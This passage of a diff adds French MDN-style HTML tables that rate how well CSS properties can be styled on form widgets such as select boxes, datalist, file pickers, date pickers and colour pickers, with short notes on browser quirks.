+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-transform")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partiel<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partiel<sup>[1]</sup></td>
+   <td>
+    <ol>
+     <li>La plupart des navigateurs ne prennent en charge cette propriété que pour l'élément {{HTMLElement("select")}}.</li>
+    </ol>
+   </td>
+  </tr>
+ </tbody>
+ <tbody>
+  <tr>
+   <th colspan="4" scope="col"><em>Bordure et arrière-plan</em></th>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("background")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partiel<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partiel<sup>[1]</sup></td>
+   <td colspan="1" rowspan="3">
+    <ol>
+     <li>La plupart des navigateurs ne prennent en charge cette propriété que pour l'élément {{HTMLElement("select")}}.</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("border-radius")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partiel<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partiel<sup>[1]</sup></td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("box-shadow")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partiel<sup>[1]</sup></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Boîtes_à_sélection_(multilignes)">Boîtes à sélection (multilignes)</h3>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Propriété</th>
+   <th scope="col" style="text-align: center;">N</th>
+   <th scope="col" style="text-align: center;">A</th>
+   <th scope="col">Note</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th colspan="4" scope="col"><em>Modèle de boîte CSS</em></th>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("width")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("height")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("border")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("margin")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("padding")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partiel<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partiel<sup>[1]</sup></td>
+   <td>
+    <ol>
+     <li>Opera ne prend pas en charge {{cssxref("padding-top")}} et {{cssxref("padding-bottom")}} sur l'élément {{HTMLElement("select")}}.</li>
+    </ol>
+   </td>
+  </tr>
+ </tbody>
+ <tbody>
+  <tr>
+   <th colspan="4" scope="col"><em>Texte et polices</em></th>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("color")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("font")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td>Voir la note à propos de {{cssxref("line-height")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("letter-spacing")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partiel<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partiel<sup>[1]</sup></td>
+   <td>
+    <ol>
+     <li>IE9 ne prend pas en charge cette propriété sur les éléments {{HTMLElement("select")}}, {{HTMLElement("option")}}, et {{HTMLElement("optgroup")}} ; les navigateurs fondés sur WebKit sur Mac OSX ne prennent pas en charge cette propriété sur les éléments {{HTMLElement("option")}} et {{HTMLElement("optgroup")}}.</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-align")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td>
+   <td>
+    <ol>
+     <li>IE9 sous Windows 7 et les navigateurs fondés sur WebKit sous Mac OSX ne prennent pas en charge cette propriété sur ce widget.</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-decoration")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td>
+   <td>
+    <ol>
+     <li>Uniquement pris en charge par Firefox et IE9+.</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-indent")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-overflow")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-shadow")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-transform")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partiel<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partiel<sup>[1]</sup></td>
+   <td>
+    <ol>
+     <li>La plupart des navigateurs ne prennent en charge cette propriété que pour l'élément {{HTMLElement("select")}}.</li>
+    </ol>
+   </td>
+  </tr>
+ </tbody>
+ <tbody>
+  <tr>
+   <th colspan="4" scope="col"><em>Bordure et arrière-plan</em></th>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("background")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("border-radius")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Yes<sup>[1]</sup></td>
+   <td>
+    <ol>
+     <li>Sur Opera la propriété {{cssxref("border-radius")}} n'est appliquée que si une bordure est explicitement définie.</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("box-shadow")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partiel<sup>[1]</sup></td>
+   <td>
+    <ol>
+     <li>IE9 ne prend pas en charge cette propriété.</li>
+    </ol>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Datalist">Datalist</h3>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Propriété</th>
+   <th scope="col" style="text-align: center;">N</th>
+   <th scope="col" style="text-align: center;">A</th>
+   <th scope="col">Note</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th colspan="4" scope="col"><em>Modèle de boîte CSS</em></th>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("width")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("height")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("border")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("margin")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("padding")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td> </td>
+  </tr>
+ </tbody>
+ <tbody>
+  <tr>
+   <th colspan="4" scope="col"><em>Texte et polices</em></th>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("color")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("font")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("letter-spacing")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-align")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-decoration")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-indent")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-overflow")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-shadow")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-transform")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td> </td>
+  </tr>
+ </tbody>
+ <tbody>
+  <tr>
+   <th colspan="4" scope="col"><em>Bordure et arrière-plan</em></th>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("background")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("border-radius")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("box-shadow")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Sélecteur_de_fichiers">Sélecteur de fichiers</h3>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Propriété</th>
+   <th scope="col" style="text-align: center;">N</th>
+   <th scope="col" style="text-align: center;">A</th>
+   <th scope="col">Note</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th colspan="4" scope="col"><em>Modèle de boîte CSS</em></th>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("width")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("height")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("border")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("margin")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("padding")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td> </td>
+  </tr>
+ </tbody>
+ <tbody>
+  <tr>
+   <th colspan="4" scope="col"><em>Texte et polices</em></th>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("color")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("font")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td>
+   <td>
+    <ol>
+     <li>Pris en charge mais il y a trop d'incohérence entre les navigateurs pour que ce soit fiable.</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("letter-spacing")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partiel<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partiel<sup>[1]</sup></td>
+   <td>
+    <ol>
+     <li>Beaucoup de navigateurs appliquent cette propriété sur le bouton de sélection.</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-align")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-decoration")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-indent")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partiel<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partiel<sup>[1]</sup></td>
+   <td>
+    <ol>
+     <li>Agit plus ou moins comme une marge supplementaire en dehors du widget.</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-overflow")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-shadow")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-transform")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td> </td>
+  </tr>
+ </tbody>
+ <tbody>
+  <tr>
+   <th colspan="4" scope="col"><em>Bordure et arrière-plan</em></th>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("background")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td>
+   <td>
+    <ol>
+     <li>Pris en charge mais il y a trop d'incohérence entre les navigateurs pour que ce soit fiable.</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("border-radius")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("box-shadow")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partiel<sup>[1]</sup></td>
+   <td>
+    <ol>
+     <li>IE9 ne prend pas en charge cette propriété.</li>
+    </ol>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Sélecteurs_de_date">Sélecteurs de date</h3>
+
+<p>Beaucoup de propriétés sont prises en charge mais il y a trop d'incohérence entre les navigateurs pour que ce soit fiable.</p>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Propriété</th>
+   <th scope="col" style="text-align: center;">N</th>
+   <th scope="col" style="text-align: center;">A</th>
+   <th scope="col">Note</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th colspan="4" scope="col"><em>Modèle de boîte CSS</em></th>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("width")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("height")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("border")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("margin")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("padding")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td> </td>
+  </tr>
+ </tbody>
+ <tbody>
+  <tr>
+   <th colspan="4" scope="col"><em>Texte et polices</em></th>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("color")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("font")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("letter-spacing")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-align")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-decoration")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-indent")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-overflow")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-shadow")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-transform")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td> </td>
+  </tr>
+ </tbody>
+ <tbody>
+  <tr>
+   <th colspan="4" scope="col"><em>Bordure et arrière-plan</em></th>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("background")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("border-radius")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("box-shadow")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">Non</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Sélecteurs_de_couleurs">Sélecteurs de couleurs</h3>
+
+<p>Il n'y a pas actuellement suffisamment d'implémentation pour obtenir des comportements fiables.</p>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Propriété</th>
+   <th scope="col" style="text-align: center;">N</th>
+   <th scope="col" style="text-align: center;">A</th>
+   <th scope="col">Note</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th colspan="4" scope="col"><em>Modèle de boîte CSS</em></th>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("width")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("height")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td>
+    <ol>
+     <li>Opera gère cette propriété comme pour un widget <code>select </code>avec les mêmes restrictions.</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("border")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("margin")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("padding")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 153, 153); vertical-align: top;">No<sup>[1]</sup></td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td>
+    <ol>
+     <li>Opera gère cette propriété comme pour un widget <code>select </code>avec les mêmes restrictions.</li>
+    </ol>
+   </td>
+  </tr>
